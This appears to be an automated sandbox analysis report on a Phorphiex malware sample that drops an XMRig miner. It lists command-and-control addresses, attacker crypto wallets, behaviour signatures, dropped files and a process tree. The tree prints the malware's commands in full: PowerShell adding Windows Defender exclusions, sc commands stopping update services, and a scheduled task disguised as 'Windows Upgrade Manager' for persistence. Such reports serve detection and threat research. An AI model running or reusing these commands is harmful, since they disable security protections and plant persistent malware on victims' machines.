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240812-sdmc5a1amd10

11/08/2024, 22:36

240811-2h7passckm10

Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    11/08/2024, 22:36

General

  • Target
    73781e5d1dec36623b34bea8869720423d535ceaad374873aa063e6902d7a7a4.exe
  • Size 2.6MB
  • Sample240811-2h7passckm
  • SHA256 73781e5d1dec36623b34bea8869720423d535ceaad374873aa063e6902d7a7a4
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • phorphiex

C2
  • http://185.215.113.66/

  • http://91.202.233.141/

Wallets
  • 0xCa90599132C4D88907Bd8E046540284aa468a035

  • TRuGGXNDM1cavQ1AqMQHG8yfxP4QWVSMN6

  • qph44jx8r9k5xeq5cuf958krv3ewrnp5vc6hhdjd3r

  • XryzFMFVpDUvU7famUGf214EXD3xNUSmQf

  • LLeT2zkStY3cvxMBFhoWXkG5VuZPoezduv

  • rwc4LVd9ABpULQ1CuCpDkgX2xVB1fUijyb

  • 4AtjkCVKbtEC3UEN77SQHuH9i1XkzNiRi5VCbA2XGsJh46nJSXfGQn4GjLuupCqmC57Lo7LvKmFUyRfhtJSvKvuw3h9ReKK

  • 15TssKwtjMtwy4vDLcLsQUZUD2B9f7eDjw85sBNVC5LRPPnC

  • 17hgMFyLDwMjxWqw5GhijhnPdJDyFDqecY

  • ltc1qt0n3f0t7vz9k0mvcswk477shrxwjhf9sj5ykrp

  • 3PMiLynrGVZ8oEqvoqC4hXD67B1WoALR4pc

  • 3FerB8kUraAVGCVCNkgv57zTBjUGjAUkU3

  • DLUzwvyxN1RrwjByUPPzVMdfxNRPGVRMMA

  • t1J6GCPCiHW1eRdjJgDDu6b1vSVmL5U7Twh

  • stars125f3mw4xd9htpsq4zj5w5ezm5gags37yxxh6mj

  • bnb1epx67ne4vckqmaj4gwke8m322f4yjr6eh52wqw

  • bc1qmpkehfffkr6phuklsksnd7nhgx0369sxu772m3

  • bitcoincash:qph44jx8r9k5xeq5cuf958krv3ewrnp5vc6hhdjd3r

  • GBQJMXYXPRIWFMXIFJR35ZB7LRKMB4PHCIUAUFR3TKUL6RDBZVLZEUJ3

Attributes
  • mutex

    x88767657x

  • user_agent

    Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36

Signatures

  • Modifies security service 2 TTPs 2 IoCs
  • Phorphiex payload 2 IoCs
  • Phorphiex, Phorpiex

    Phorphiex or Phorpiex Malware family which infects systems to distribute other malicious payloads such as ransomware, stealers and cryptominers.

  • Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs
  • Windows security bypass 2 TTPs 12 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 10 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Downloads MZ/PE file
  • Stops running service(s) 4 TTPs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 11 IoCs
  • Windows security modification 2 TTPs 14 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Windows directory 4 IoCs
  • Launches sc.exe 5 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 18 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 17 IoCs
  • Suspicious behavior: SetClipboardViewer 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 54 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3532
      • C:\Users\Admin\AppData\Local\Temp\73781e5d1dec36623b34bea8869720423d535ceaad374873aa063e6902d7a7a4.exe
        "C:\Users\Admin\AppData\Local\Temp\73781e5d1dec36623b34bea8869720423d535ceaad374873aa063e6902d7a7a4.exe"
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1832
        • C:\Users\Admin\AppData\Local\Temp\3DFE.exe
          "C:\Users\Admin\AppData\Local\Temp\3DFE.exe"
          3⤵
          • Executes dropped EXE
          • Adds Run key to start application
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:4732
          • C:\Windows\sysmablsvr.exe
            C:\Windows\sysmablsvr.exe
            4⤵
            • Modifies security service
            • Windows security bypass
            • Executes dropped EXE
            • Windows security modification
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:4060
            • C:\Users\Admin\AppData\Local\Temp\3056130431.exe
              C:\Users\Admin\AppData\Local\Temp\3056130431.exe
              5⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              PID:4112
            • C:\Users\Admin\AppData\Local\Temp\149821746.exe
              C:\Users\Admin\AppData\Local\Temp\149821746.exe
              5⤵
              • Executes dropped EXE
              • Adds Run key to start application
              • Drops file in Windows directory
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:2428
              • C:\Windows\sysmysldrv.exe
                C:\Windows\sysmysldrv.exe
                6⤵
                • Modifies security service
                • Windows security bypass
                • Checks computer location settings
                • Executes dropped EXE
                • Windows security modification
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: SetClipboardViewer
                • Suspicious use of WriteProcessMemory
                PID:1112
                • C:\Windows\SysWOW64\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
                  7⤵
                  • System Location Discovery: System Language Discovery
                  • Suspicious use of WriteProcessMemory
                  PID:4428
                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                    powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
                    8⤵
                    • Command and Scripting Interpreter: PowerShell
                    • System Location Discovery: System Language Discovery
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:3568
                • C:\Windows\SysWOW64\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop DoSvc & sc stop BITS
                  7⤵
                  • System Location Discovery: System Language Discovery
                  • Suspicious use of WriteProcessMemory
                  PID:3384
                  • C:\Windows\SysWOW64\sc.exe
                    sc stop UsoSvc
                    8⤵
                    • Launches sc.exe
                    • System Location Discovery: System Language Discovery
                    PID:2408
                  • C:\Windows\SysWOW64\sc.exe
                    sc stop WaaSMedicSvc
                    8⤵
                    • Launches sc.exe
                    • System Location Discovery: System Language Discovery
                    PID:3352
                  • C:\Windows\SysWOW64\sc.exe
                    sc stop wuauserv
                    8⤵
                    • Launches sc.exe
                    • System Location Discovery: System Language Discovery
                    PID:4424
                  • C:\Windows\SysWOW64\sc.exe
                    sc stop DoSvc
                    8⤵
                    • Launches sc.exe
                    • System Location Discovery: System Language Discovery
                    PID:548
                  • C:\Windows\SysWOW64\sc.exe
                    sc stop BITS
                    8⤵
                    • Launches sc.exe
                    • System Location Discovery: System Language Discovery
                    PID:4528
                • C:\Users\Admin\AppData\Local\Temp\3285132603.exe
                  C:\Users\Admin\AppData\Local\Temp\3285132603.exe
                  7⤵
                  • Executes dropped EXE
                  • System Location Discovery: System Language Discovery
                  PID:4936
                • C:\Users\Admin\AppData\Local\Temp\1192323971.exe
                  C:\Users\Admin\AppData\Local\Temp\1192323971.exe
                  7⤵
                  • Executes dropped EXE
                  • System Location Discovery: System Language Discovery
                  PID:2492
                • C:\Users\Admin\AppData\Local\Temp\2340930083.exe
                  C:\Users\Admin\AppData\Local\Temp\2340930083.exe
                  7⤵
                  • Executes dropped EXE
                  • System Location Discovery: System Language Discovery
                  PID:3444
            • C:\Users\Admin\AppData\Local\Temp\2111927910.exe
              C:\Users\Admin\AppData\Local\Temp\2111927910.exe
              5⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:4792
              • C:\Users\Admin\AppData\Local\Temp\3014321336.exe
                C:\Users\Admin\AppData\Local\Temp\3014321336.exe
                6⤵
                • Suspicious use of NtCreateUserProcessOtherParentProcess
                • Executes dropped EXE
                • Suspicious behavior: EnumeratesProcesses
                PID:1632
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#llzqlmcx#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Windows Upgrade Manager' /tr '''C:\Users\Admin\Windows Upgrade\wupgrdsv.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Windows Upgrade\wupgrdsv.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Windows Upgrade Manager' -RunLevel 'Highest' -Force; }
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1652
      • C:\Windows\System32\schtasks.exe
        C:\Windows\System32\schtasks.exe /run /tn "Windows Upgrade Manager"
        2⤵
          PID:2824
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#llzqlmcx#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Windows Upgrade Manager' /tr '''C:\Users\Admin\Windows Upgrade\wupgrdsv.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Windows Upgrade\wupgrdsv.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Windows Upgrade Manager' -RunLevel 'Highest' -Force; }
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:4428
        • C:\Windows\System32\notepad.exe
          C:\Windows\System32\notepad.exe
          2⤵
            PID:4764
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4276,i,13995403245988825027,7033610968827661507,262144 --variations-seed-version --mojo-platform-channel-handle=3864 /prefetch:8
          1⤵
            PID:1064
          • C:\Users\Admin\Windows Upgrade\wupgrdsv.exe
            "C:\Users\Admin\Windows Upgrade\wupgrdsv.exe"
            1⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:3764

          Network

                MITRE ATT&CK Enterprise v15

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                Downloads

                powershell.exe.log

                • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 3KB
                • SHA256 dbd4136bc342e3e92902ec3a30d165452c82997a7ae24ac90775e42d88959e6b
                • MD5 SHA1 SHA512

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 18KB
                • SHA256 7cdb061738946154f9f215c5790238ffdce32dd40622df9a3d585afe57860667
                • MD5 SHA1 SHA512 SSDEEP

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 342ce7c39bf9992d31d4b61ef138b2b084c96c74736ed00bb19aae49be16ca02
                • MD5 SHA1 SHA512

                149821746.exe

                • Path C:\Users\Admin\AppData\Local\Temp\149821746.exe
                • Size 92KB
                • SHA256 d281e0a0f1e1073f2d290a7eb1f77bed4c210dbf83a0f4f4e22073f50faa843f
                • MD5 SHA1 SHA512 SSDEEP

                2111927910.exe

                • Path C:\Users\Admin\AppData\Local\Temp\2111927910.exe
                • Size 10KB
                • SHA256 5016e413b0c563efc920165e7235c9f2706808877668bd297b41435acc7aade4
                • MD5 SHA1 SHA512 SSDEEP

                3014321336.exe

                • Path C:\Users\Admin\AppData\Local\Temp\3014321336.exe
                • Size 5.4MB
                • SHA256 dd12cb27b3867341bf6ca48715756500d3ec56c19b21bb1c1290806aa74cb493
                • MD5 SHA1 SHA512 SSDEEP

                3056130431.exe

                • Path C:\Users\Admin\AppData\Local\Temp\3056130431.exe
                • Size 7KB
                • SHA256 7b7d433c6c204ed3bcd1ea74106592edfa1a30b6ef7bbc3ed21efcbadc51e526
                • MD5 SHA1 SHA512 SSDEEP

                3285132603.exe

                • Path C:\Users\Admin\AppData\Local\Temp\3285132603.exe
                • Size 7KB
                • SHA256 17711519f3938ee9c93e1b15ade22a17cfa70fffce02c2b1b2c77959626ab6de
                • MD5 SHA1 SHA512 SSDEEP

                3DFE.exe

                • Path C:\Users\Admin\AppData\Local\Temp\3DFE.exe
                • Size 88KB
                • SHA256 a992920e64a64763f3dd8c2a431a0f5e56e5b3782a1496de92bc80ee71cca5ba
                • MD5 SHA1 SHA512 SSDEEP

                __PSScriptPolicyTest_1pq323nk.wmh.ps1

                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1pq323nk.wmh.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512

                tbtnds.dat

                • Path C:\Users\Admin\tbtnds.dat
                • Size 3KB
                • SHA256 9fe63f3bb2d7a142c208fe8e9978b8cc2a7de22cf5256fd60581bb461614d1be
                • MD5 SHA1 SHA512

                memory/1632-114-0x00007FF6455C0000-0x00007FF645B36000-memory.dmp

                memory/1652-106-0x00000157F87B0000-0x00000157F87D2000-memory.dmp

                memory/3568-69-0x00000000072D0000-0x00000000072E4000-memory.dmp

                memory/3568-45-0x00000000057A0000-0x0000000005AF4000-memory.dmp

                memory/3568-60-0x0000000006F40000-0x0000000006FE3000-memory.dmp

                memory/3568-61-0x0000000007720000-0x0000000007D9A000-memory.dmp

                memory/3568-62-0x00000000070A0000-0x00000000070BA000-memory.dmp

                memory/3568-63-0x00000000070F0000-0x00000000070FA000-memory.dmp

                memory/3568-64-0x0000000007300000-0x0000000007396000-memory.dmp

                memory/3568-65-0x0000000007290000-0x00000000072A1000-memory.dmp

                memory/3568-68-0x00000000072C0000-0x00000000072CE000-memory.dmp

                memory/3568-59-0x0000000006F10000-0x0000000006F2E000-memory.dmp

                memory/3568-70-0x00000000073C0000-0x00000000073DA000-memory.dmp

                memory/3568-71-0x00000000073A0000-0x00000000073A8000-memory.dmp

                memory/3568-48-0x0000000006CD0000-0x0000000006D02000-memory.dmp

                memory/3568-47-0x0000000005D80000-0x0000000005DCC000-memory.dmp

                memory/3568-46-0x0000000005D40000-0x0000000005D5E000-memory.dmp

                memory/3568-49-0x000000006E800000-0x000000006E84C000-memory.dmp

                memory/3568-35-0x0000000005730000-0x0000000005796000-memory.dmp

                memory/3568-34-0x0000000004E40000-0x0000000004EA6000-memory.dmp

                memory/3568-33-0x0000000004DA0000-0x0000000004DC2000-memory.dmp

                memory/3568-32-0x0000000004ED0000-0x00000000054F8000-memory.dmp

                memory/3568-31-0x0000000002760000-0x0000000002796000-memory.dmp

                memory/3764-135-0x00007FF77AC50000-0x00007FF77B1C6000-memory.dmp

                memory/4764-137-0x00007FF747A50000-0x00007FF74823F000-memory.dmp

                memory/4764-139-0x00007FF747A50000-0x00007FF74823F000-memory.dmp

                memory/4764-140-0x00007FF747A50000-0x00007FF74823F000-memory.dmp

                memory/4764-136-0x000001A6791B0000-0x000001A6791D0000-memory.dmp

                memory/4764-143-0x00007FF747A50000-0x00007FF74823F000-memory.dmp

                memory/4764-144-0x00007FF747A50000-0x00007FF74823F000-memory.dmp

                memory/4764-145-0x00007FF747A50000-0x00007FF74823F000-memory.dmp

                memory/4764-146-0x00007FF747A50000-0x00007FF74823F000-memory.dmp

                memory/4764-149-0x00007FF747A50000-0x00007FF74823F000-memory.dmp

                memory/4764-150-0x00007FF747A50000-0x00007FF74823F000-memory.dmp